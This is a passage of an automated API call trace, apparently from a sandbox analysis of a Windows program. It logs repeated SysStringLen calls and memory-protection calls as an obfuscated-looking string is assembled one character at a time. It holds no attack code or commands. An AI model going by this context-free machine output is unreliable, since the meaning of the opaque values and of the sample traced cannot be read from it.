OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.672] SysStringLen (param_1="o4WysijaJOLyBjᓮꖣ") returned 0x10 [0135.672] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.672] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\xd8c5\x1425\xb03a\x82fe\xec49\x8af9\x6ba6\xc78f") returned 0x10 [0135.672] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\xd8c5\x1425\xb03a\x82fe\xec49\x8af9\x6ba6\xc78f") returned 0x10 [0135.672] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.673] SysStringLen (param_1="o4WysijaJOLyBjJꖣ") returned 0x10 [0135.673] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.673] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\xe384\xd19f\x56b4\x414c\x99d5\x753c\x2539\x16f") returned 0x10 [0135.673] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\xe384\xd19f\x56b4\x414c\x99d5\x753c\x2539\x16f") returned 0x10 [0135.673] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.673] SysStringLen (param_1="o4WysijaJOLyBjJK") returned 0x10 [0135.673] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.673] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd") returned 0x10 [0135.673] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd") returned 0x10 [0135.673] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd") returned 0x10 [0135.673] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd") returned 0x18 [0135.673] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.673] SysStringLen (param_1="o4WysijaJOLyBjJKF墽삌齓䔫俛与") returned 0x18 [0135.673] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.673] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\xedfc\x7e17\xb1b6\x3ebc\x76ce\x61b1\xc63e\x1b82") returned 0x18 [0135.673] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\xedfc\x7e17\xb1b6\x3ebc\x76ce\x61b1\xc63e\x1b82") returned 0x18 [0135.673] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.674] SysStringLen (param_1="o4WysijaJOLyBjJKF1삌齓䔫俛与") returned 0x18 [0135.674] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.674] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\xb8af\xfd00\x6c42\xf73e\x6421\xa5d5\x412b\xcc1f") returned 0x18 [0135.674] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\xb8af\xfd00\x6c42\xf73e\x6421\xa5d5\x412b\xcc1f") returned 0x18 [0135.674] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.674] SysStringLen (param_1="o4WysijaJOLyBjJKF1X齓䔫俛与") returned 0x18 [0135.674] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.674] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x75b2\x9842\xc988\xbd8\x4d03\x41ef\x2acb\x8b68") returned 0x18 [0135.674] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x75b2\x9842\xc988\xbd8\x4d03\x41ef\x2acb\x8b68") returned 0x18 [0135.674] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.674] SysStringLen (param_1="o4WysijaJOLyBjJKF1Xi䔫俛与") returned 0x18 [0135.674] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.674] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\xdb3\x8eaf\xed7b\x54d3\x4860\x8d73\xb395\x308b") returned 0x18 [0135.674] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\xdb3\x8eaf\xed7b\x54d3\x4860\x8d73\xb395\x308b") returned 0x18 [0135.674] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.674] SysStringLen (param_1="o4WysijaJOLyBjJKF1XiE俛与") returned 0x18 [0135.674] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.674] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x5537\xf6d6\xb5b5\xb527\x6d37\x5148\x3721\xc1db") returned 0x18 [0135.674] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x5537\xf6d6\xb5b5\xb527\x6d37\x5148\x3721\xc1db") returned 0x18 [0135.675] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.675] SysStringLen (param_1="o4WysijaJOLyBjJKF1XiEN俛与") returned 0x18 [0135.675] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.675] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\xeabd\xfb0e\xbc62\xd9e7\xb554\xa3fb\x68fe\x4a11") returned 0x18 [0135.675] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\xeabd\xfb0e\xbc62\xd9e7\xb554\xa3fb\x68fe\x4a11") returned 0x18 [0135.675] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.675] SysStringLen (param_1="o4WysijaJOLyBjJKF1XiENN与") returned 0x18 [0135.675] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.675] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x8948\x982b\x6cd6\x693e\x5816\x31d2\xf298\x647d") returned 0x18 [0135.675] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x8948\x982b\x6cd6\x693e\x5816\x31d2\xf298\x647d") returned 0x18 [0135.675] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.675] SysStringLen (param_1="o4WysijaJOLyBjJKF1XiENNN") returned 0x18 [0135.675] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.675] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b") returned 0x18 [0135.675] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b") returned 0x18 [0135.675] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b") returned 0x18 [0135.675] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b") returned 0x20 [0135.675] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.676] SysStringLen (param_1="o4WysijaJOLyBjJKF1XiENNNJࠌ힮贤峻Ｖ喿ࢸ") returned 0x20 [0135.676] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.676] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x1b8a\x5d67\x18ee\xa018\x876b\x2691\x6bb6\x6c5f") returned 0x20 [0135.676] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x1b8a\x5d67\x18ee\xa018\x876b\x2691\x6bb6\x6c5f") returned 0x20 [0135.676] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.676] SysStringLen (param_1="o4WysijaJOLyBjJKF1XiENNNJX힮贤峻Ｖ喿ࢸ") returned 0x20 [0135.676] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.676] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\xd430\x3444\xbf1c\xfb30\x3c66\xa650\x6877\xf32") returned 0x20 [0135.676] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\xd430\x3444\xbf1c\xfb30\x3c66\xa650\x6877\xf32") returned 0x20 [0135.676] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.676] SysStringLen (param_1="o4WysijaJOLyBjJKF1XiENNNJXz贤峻Ｖ喿ࢸ") returned 0x20 [0135.676] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.676] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\xafb7\xe99a\x3b86\x959d\xb72\xb458\xa530\xa0ea") returned 0x20 [0135.676] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\xafb7\xe99a\x3b86\x959d\xb72\xb458\xa530\xa0ea") returned 0x20 [0135.676] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.676] SysStringLen (param_1="o4WysijaJOLyBjJKF1XiENNNJXzw峻Ｖ喿ࢸ") returned 0x20 [0135.676] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.676] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x3bc\xb1b6\x1cb4\x7179\x381d\x9035\xb892\xa790") returned 0x20 [0135.676] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x3bc\xb1b6\x1cb4\x7179\x381d\x9035\xb892\xa790") returned 0x20 [0135.676] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.676] SysStringLen (param_1="o4WysijaJOLyBjJKF1XiENNNJXzwHＶ喿ࢸ") returned 0x20 [0135.676] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.677] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x92de\x77fd\x5a7a\x3d6d\x92ee\xc0c\x3b62\xeee2") returned 0x20 [0135.677] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x92de\x77fd\x5a7a\x3d6d\x92ee\xc0c\x3b62\xeee2") returned 0x20 [0135.677] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.677] SysStringLen (param_1="o4WysijaJOLyBjJKF1XiENNNJXzwHE喿ࢸ") returned 0x20 [0135.677] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.677] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x5226\xa310\xb8b3\x7fc4\x12aa\xb3d2\xcd47\x6ebc") returned 0x20 [0135.677] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x5226\xa310\xb8b3\x7fc4\x12aa\xb3d2\xcd47\x6ebc") returned 0x20 [0135.677] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.677] SysStringLen (param_1="o4WysijaJOLyBjJKF1XiENNNJXzwHENࢸ") returned 0x20 [0135.677] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.677] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x5eab\xcea7\x7b44\xe054\xce87\x82ef\xa1b2\x4c57") returned 0x20 [0135.677] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x5eab\xcea7\x7b44\xe054\xce87\x82ef\xa1b2\x4c57") returned 0x20 [0135.677] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.677] SysStringLen (param_1="o4WysijaJOLyBjJKF1XiENNNJXzwHEN3") returned 0x20 [0135.677] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.677] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x337f\x5ed5\xe617\xaa04\x46f6\x45d\xa382\x2b37") returned 0x20 [0135.677] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x337f\x5ed5\xe617\xaa04\x46f6\x45d\xa382\x2b37") returned 0x20 [0135.677] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x337f\x5ed5\xe617\xaa04\x46f6\x45d\xa382\x2b37") returned 0x20 [0135.677] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x337f\x5ed5\xe617\xaa04\x46f6\x45d\xa382\x2b37\x02") returned 0x28 [0135.677] SystemFunction041 (in: Memory=0x4383dfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383dfc) returned 0x0 [0135.678] SysStringLen (param_1="o4WysijaJOLyBjJKF1XiENNNJXzwHEN3L瘪庯鵈䚃Ⓧ䒨Џ") returned 0x28 [0135.678] SystemFunction040 (in: Memory=0x4383dfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383dfc) returned 0x0 [0135.678] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x337f\x5ed5\xe617\xaa04\x46f6\x45d\xa382\x2b37\x2955\xee5f\x964a\x8f46\x7c01\x1d9f\xa369\xedf2") returned 0x28 [0135.678] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x337f\x5ed5\xe617\xaa04\x46f6\x45d\xa382\x2b37\x2955\xee5f\x964a\x8f46\x7c01\x1d9f\xa369\xedf2") returned 0x28 [0135.678] SystemFunction041 (in: Memory=0x4383dfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383dfc) returned 0x0 [0135.678] SysStringLen (param_1="o4WysijaJOLyBjJKF1XiENNNJXzwHEN3LD庯鵈䚃Ⓧ䒨Џ") returned 0x28 [0135.678] SystemFunction040 (in: Memory=0x4383dfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383dfc) returned 0x0 [0135.678] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x337f\x5ed5\xe617\xaa04\x46f6\x45d\xa382\x2b37\x2ec2\xf87c\xd5af\x1610\x8d88\xec9a\x6e3e\x83e") returned 0x28 [0135.678] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x337f\x5ed5\xe617\xaa04\x46f6\x45d\xa382\x2b37\x2ec2\xf87c\xd5af\x1610\x8d88\xec9a\x6e3e\x83e") returned 0x28 [0135.678] SystemFunction041 (in: Memory=0x4383dfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383dfc) returned 0x0 [0135.678] SysStringLen (param_1="o4WysijaJOLyBjJKF1XiENNNJXzwHEN3LDO鵈䚃Ⓧ䒨Џ") returned 0x28 [0135.678] SystemFunction040 (in: Memory=0x4383dfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383dfc) returned 0x0 [0135.678] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x337f\x5ed5\xe617\xaa04\x46f6\x45d\xa382\x2b37\x4146\x763\xbd87\xb0f4\x26e0\xef33\xbd58\xdb3e") returned 0x28 [0135.678] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x337f\x5ed5\xe617\xaa04\x46f6\x45d\xa382\x2b37\x4146\x763\xbd87\xb0f4\x26e0\xef33\xbd58\xdb3e") returned 0x28 [0135.678] SystemFunction041 (in: Memory=0x4383dfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383dfc) returned 0x0 [0135.678] SysStringLen (param_1="o4WysijaJOLyBjJKF1XiENNNJXzwHEN3LDO0䚃Ⓧ䒨Џ") returned 0x28 [0135.678] SystemFunction040 (in: Memory=0x4383dfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383dfc) returned 0x0 [0135.678] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x337f\x5ed5\xe617\xaa04\x46f6\x45d\xa382\x2b37\xcd4\xe0e8\x76bc\x5eba\xdf59\xe0ad\xf871\xa187") returned 0x28 [0135.678] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x337f\x5ed5\xe617\xaa04\x46f6\x45d\xa382\x2b37\xcd4\xe0e8\x76bc\x5eba\xdf59\xe0ad\xf871\xa187") returned 0x28 [0135.678] SystemFunction041 (in: Memory=0x4383dfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383dfc) returned 0x0 [0135.678] SysStringLen (param_1="o4WysijaJOLyBjJKF1XiENNNJXzwHEN3LDO0DⓍ䒨Џ") returned 0x28 [0135.678] SystemFunction040 (in: Memory=0x4383dfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383dfc) returned 0x0 [0135.679] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x337f\x5ed5\xe617\xaa04\x46f6\x45d\xa382\x2b37\xa3d7\x6916\x6d49\xa37a\xc350\x5d82\x1511\xade9") returned 0x28 [0135.679] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x337f\x5ed5\xe617\xaa04\x46f6\x45d\xa382\x2b37\xa3d7\x6916\x6d49\xa37a\xc350\x5d82\x1511\xade9") returned 0x28 [0135.679] SystemFunction041 (in: Memory=0x4383dfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383dfc) returned 0x0 [0135.679] SysStringLen (param_1="o4WysijaJOLyBjJKF1XiENNNJXzwHEN3LDO0D1䒨Џ") returned 0x28 [0135.679] SystemFunction040 (in: Memory=0x4383dfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383dfc) returned 0x0 [0135.679] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x337f\x5ed5\xe617\xaa04\x46f6\x45d\xa382\x2b37\x96e2\x992d\xd52\xbcbd\xa308\x9a9e\xb3bb\xf26d") returned 0x28 [0135.679] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x337f\x5ed5\xe617\xaa04\x46f6\x45d\xa382\x2b37\x96e2\x992d\xd52\xbcbd\xa308\x9a9e\xb3bb\xf26d") returned 0x28 [0135.679] SystemFunction041 (in: Memory=0x4383dfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383dfc) returned 0x0 [0135.679] SysStringLen (param_1="o4WysijaJOLyBjJKF1XiENNNJXzwHEN3LDO0D1OЏ") returned 0x28 [0135.679] SystemFunction040 (in: Memory=0x4383dfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383dfc) returned 0x0 [0135.679] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x337f\x5ed5\xe617\xaa04\x46f6\x45d\xa382\x2b37\xcafd\x7b44\x517e\x3763\xb4bc\x7ebf\x9c5e\x1288") returned 0x28 [0135.679] SysStringLen (param_1="\x75e5\x5dec\x3506\xa203\x19ab\x9f6e\x5115\x9570\x320b\x5897\xb3c4\x9e55\x81eb\xfeb8\xa20\x7edd\x71d4\x826\xa4e6\x8c22\x983b\xeba3\x1044\x386b\x337f\x5ed5\xe617\xaa04\x46f6\x45d\xa382\x2b37\xcafd\x7b44\x517e\x3763\xb4bc\x7ebf\x9c5e\x1288") returned 0x28 [0135.679] SystemFunction041 (in: Memory=0x4383dfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383dfc) returned 0x0 [0135.679] SysStringLen (param_1="o4WysijaJOLyBjJKF1XiENNNJXzwHEN3LDO0D1Oh") returned 0x28 [0135.679] SystemFunction040 (in: Memory=0x4383dfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383dfc) returned 0x0 [0135.679] SysStringLen 